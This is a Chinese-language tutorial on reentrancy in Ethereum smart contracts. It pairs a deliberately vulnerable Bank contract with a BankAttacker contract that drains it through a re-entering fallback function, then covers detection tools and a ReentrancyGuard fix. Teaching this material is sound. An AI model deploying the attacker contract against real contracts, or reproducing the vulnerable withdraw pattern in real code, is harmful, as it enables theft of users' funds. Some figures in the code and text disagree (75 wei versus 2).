Reentrancy

基本概念


智能合约中的 fallback (回退)函数

一个智能合约中,可以有一个没有函数名,没有参数也没有返回值的函数,也就是 fallback 函数。一个没有定义 fallback

函数的合约,如果接收ether,会触发异常,并返还ether(solidity v0.4.0开始)。

所以合约要接收ether,必须实现回退函数。在三种情况下,这个函数会被触发:

如果调用这个合约时,没有匹配上任何一个函数。那么,就会调用默认的 fallback 函数。

当合约收到ether时(没有任何其它数据),这个函数也会被执行。

注意,执行 fallback 函数会消耗gas。

场景/例子


例子引自: (https://medium.com/@MyPaoG/explaining-the-dao-exploit-for-beginners-in-solidity-80ee84f0d470)

/* 此合约用于1)记录用户余额,2)可以取款,3)可以存款。有reentrancy漏洞。*/

contract Bank{

/* 地址(唯一)和余额的映射 */
   mapping(address=>uint) userBalances;

/* 返回用户余额 */
   function getUserBalance(address user) constant returns(uint) {
     return userBalances[user];
   }

/* 给指定的用户增加余额 */
   function addToBalance() {
     userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
   }

/* 用户取款(这里假设取余额中全部的钱) */
   function withdrawBalance() {
     uint amountToWithdraw = userBalances[msg.sender];
     /* 把钱转给用户。如果交易失败,则throw。 */
     if (msg.sender.call.value(amountToWithdraw)() == false) {
         throw;
     }
     /* 如果交易成功,把用户的余额设置为0。 */
     userBalances[msg.sender] = 0;
   }
}

/* 这是一个攻击具有reentrancy漏洞的智能合约(Bank)的智能合约(BankAttacker)。在这个例子里,它实现了两次攻击。 */
contract BankAttacker{

   bool is_attack;
   address bankAddress;

/* 输入:1)_bankAddress:要攻击的智能合约(Bank)的地址,2)_is_attack:开启或关闭攻击。*/
   function  BankAttacker(address _bankAddress, bool _is_attack){
       bankAddress=_bankAddress;
       is_attack=_is_attack;
   }

/* 这是一个fallback函数,用于调用withdrawnBalance函数(当开始攻击时,即is_attack为true) 。
这个函数会被触发是因为有reentrancy漏洞的智能合约(Bank)中的withdrawBalance函数被执行。为了避免无限递归调用fallbacks,有必要设置有限的次数,例如这里设置2次。
因为每次调用是需要gas的,如果gas用完了,攻击就失败了。 */
   function() {
       if(is_attack==true)
       {
           is_attack=false;
           if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
               throw;
           }
       }
   }

/* 存款函数。主要功能是给智能合约Bank发送75wei,并且调用addToBalance。 */
   function  deposit(){
        if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
        ==false) {
               throw;
           }
   }

/* 这个函数会触发Bank中的withdrawBalance函数。*/
   function  withdraw(){
		if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
               throw;
           }

   }
}

攻击者利用BankAttack(vulnerable contract)与Bank进行交互,主要过程:

攻击者首先通过调用BankAttack中的 deposit 函数发送75wei到Bank,从而调用Bank中的 addToBalance 函数。


【第一次取款】攻击者通过调用BankAttack中 withdraw 进行取款(取75wei)。同时,触发了Bank中的withdrawBalance。


Bank中的 withdrawBalance 发送75wei给BankAttack,从而触发了BankAttack的 fallback 函数,最后更新 userBalances 变量。


【第二次取款】BankAttack的fallback函数再次调用Bank中的 withdrawBalance 函数,相当于再次取款。

注意,这个时候,相当于递归调用,因此第一次取款还未结束,因此,Bank中的变量 userBalances 的值还没有更新。

所以,调用第二次取款时,Bank误以为BankAttack还存有75wei。因此,成功地再次执行了取款的操作。


以下是流程图:

检测方法

  • 工具一: Oyente [2]
    主要思想: 利用条件路径。在每次执行CALL函数之前,先利用符号执行获取整个函数的条件路径。然后检查路径[unclear]
  • 工具二: ContractFuzzer [3]
    主要思想: 如下图所示,创建一个AttackerAgent去与目标contract交互。

修复方法

Lock: 增加一个变量来锁定当前的状态。例如,ReentrancyGuard.sol。

pragma solidity 0.4.20;


/**
 * @title Helps contracts guard agains rentrancy attacks.
 * @author Remco Bloemen <remco@2π.com>
 * @notice If you mark a function `nonReentrant`, you should also mark it `external`.
 */
contract ReentrancyGuard {
    /**
     * @dev We use a single lock for the whole contract.
     */
    bool private rentrancyLock = false;

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * @notice If you mark a function `nonReentrant`, you should also mark it `external`. Calling one nonReentrant function from another is not supported. 
     * Instead, you can implement a `private` function doing the actual work, and a `external` wrapper marked as `nonReentrant`.
     */
    modifier nonReentrant() {
        require(!rentrancyLock);
        rentrancyLock = true;
        _;
        rentrancyLock = false;
    }
}

QA

循环调用什么时候停止?


当1) 执行最终out-of-gas, 2)达到了stack limit, 3)当攻击者所有的ether都被用完了。


停止后整个程序产生了什么影响?


最终,最后一个调用会失败(不影响区块链状态),因此有且仅有一个异常被抛出。之前的所有调用都被认为是合法的,

因此,都成功执行完毕。


其他

相关漏洞:TheDao hack